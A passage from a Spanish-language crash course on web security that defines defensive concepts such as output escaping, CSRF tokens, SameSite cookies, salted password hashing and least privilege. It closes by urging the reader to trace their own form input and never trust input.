- **Output Escaping** (output encoding): `<` → `&lt;`: la entrada se muestra como texto, nunca se ejecuta.
- **Content Security Policy** (CSP): Una cabecera que dice qué scripts puede ejecutar el navegador. La segunda línea.

### CSRF

- **CSRF** (Cross-Site Request Forgery): Otro sitio envía una petición a través de tu navegador con tu cookie.
- **Confused Deputy** (autoridad mal usada): A quien tiene la autoridad lo engañan para usarla en favor de otro.
- **CSRF Token** (anti-CSRF token): Un secreto en tus formularios: una petición falsificada no lo conoce.
- **SameSite Cookie** (atributo de cookie): El navegador no adjunta la cookie a las peticiones entre sitios.

### Secretos y contraseñas

- **Plaintext Passwords** (anti-patrón): Una fuga — todas las contraseñas, más otras cuentas donde se reutilizaron.
- **Hashing vs Encryption** (un sentido vs dos sentidos): El hash es de un solo sentido, solo se compara. El cifrado se puede volver a leer con la clave.
- **Salted Password Hashing** (salt + bcrypt / Argon2): Una salt por contraseña + un algoritmo lento: adivinar sale caro.

### Contención y práctica

- **Least Privilege** (acceso mínimo): Derechos mínimos — un blast radius pequeño.
- **Defense in Depth** (seguridad por capas): Varias capas independientes; ningún fallo aislado es fatal.
- **Information Leakage** (information disclosure): Mensajes genéricos para el usuario, el detalle en logs privados.
- **Secure Defaults + Patching** (framework y actualizaciones): Usa la protección del framework como se pensó y mantén las dependencias actualizadas.
- **OWASP Top 10** (mapa de vulnerabilidades): La lista de la industria de las vulnerabilidades más comunes — úsala como lista de comprobación.

> La seguridad web es sobre todo una regla aplicada con disciplina: nunca confíes en la entrada. Valida en la frontera, escapa a la salida, guarda los secretos con seguridad y apila defensas para cuando algo se cuele.

Fin del curso exprés · 7 capítulos · 21 conceptos

Lo siguiente es la práctica: toma un formulario de algo que hayas construido y sigue su entrada hasta el final — ¿se valida en el servidor, se parametriza en cualquier consulta, se escapa al mostrarla de nuevo en la página? Luego prueba la mirada del atacante: ¿qué pasa si el campo contiene una etiqueta `<script>`, o sintaxis SQL, o una comilla? Las lecciones se vuelven concretas en el momento en que ves tu propia entrada llegar a un lugar donde podría malinterpretarse como código. Pero quédate con una idea por encima de las demás: nunca confíes en la entrada. Casi toda vulnerabilidad web es esa regla, olvidada en un solo lugar — y casi toda defensa es esa regla, aplicada con cuidado.
